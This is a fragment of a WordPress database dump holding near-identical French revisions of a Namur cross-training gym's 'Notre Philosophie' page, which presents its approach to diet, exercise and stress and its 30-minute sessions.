(87, 1, '2013-06-16 12:57:53', '2013-06-16 12:57:53', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:57:53', '2013-06-16 12:57:53', '', 5, 'http://www.crosstrainingcenter.be/?p=87', 0, 'revision', '', 0),
(89, 1, '2013-06-16 12:58:23', '2013-06-16 12:58:23', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:23', '2013-06-16 12:58:23', '', 5, 'http://www.crosstrainingcenter.be/?p=89', 0, 'revision', '', 0),
(102, 1, '2013-06-16 13:57:20', '2013-06-16 13:57:20', '', 'pico1', '', 'inherit', 'open', 'open', '', 'pico1', '', '', '2013-06-16 13:57:20', '2013-06-16 13:57:20', '', 5, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png', 0, 'attachment', 'image/png', 0),
(91, 1, '2013-06-16 12:58:34', '2013-06-16 12:58:34', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n\r\n&amp;nbsp;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 12:58:34', '2013-06-16 12:58:34', '', 5, 'http://www.crosstrainingcenter.be/?p=91', 0, 'revision', '', 0),
(291, 1, '2013-07-04 18:52:09', '2013-07-04 18:52:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:52:09', '2013-07-04 18:52:09', '', 5, 'http://www.crosstrainingcenter.be/5-revision-37/', 0, 'revision', '', 0),
(293, 1, '2013-07-04 18:53:14', '2013-07-04 18:53:14', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:53:14', '2013-07-04 18:53:14', '', 5, 'http://www.crosstrainingcenter.be/5-revision-39/', 0, 'revision', '', 0),
(93, 1, '2013-06-16 13:08:28', '2013-06-16 13:08:28', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-78 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:08:28', '2013-06-16 13:08:28', '', 5, 'http://www.crosstrainingcenter.be/?p=93', 0, 'revision', '', 0);
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(95, 1, '2013-06-16 13:12:40', '2013-06-16 13:12:40', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-92 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x98.png\&quot; width=\&quot;300\&quot; height=\&quot;98\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:12:40', '2013-06-16 13:12:40', '', 5, 'http://www.crosstrainingcenter.be/?p=95', 0, 'revision', '', 0),
(97, 1, '2013-06-16 13:19:06', '2013-06-16 13:19:06', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-94 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x82.png\&quot; width=\&quot;300\&quot; height=\&quot;82\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:19:06', '2013-06-16 13:19:06', '', 5, 'http://www.crosstrainingcenter.be/?p=97', 0, 'revision', '', 0),
(99, 1, '2013-06-16 13:27:37', '2013-06-16 13:27:37', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-90 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-292x300.png\&quot; width=\&quot;292\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:27:37', '2013-06-16 13:27:37', '', 5, 'http://www.crosstrainingcenter.be/?p=99', 0, 'revision', '', 0),
(100, 1, '2013-06-16 13:44:39', '2013-06-16 13:44:39', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-96 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-98 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', 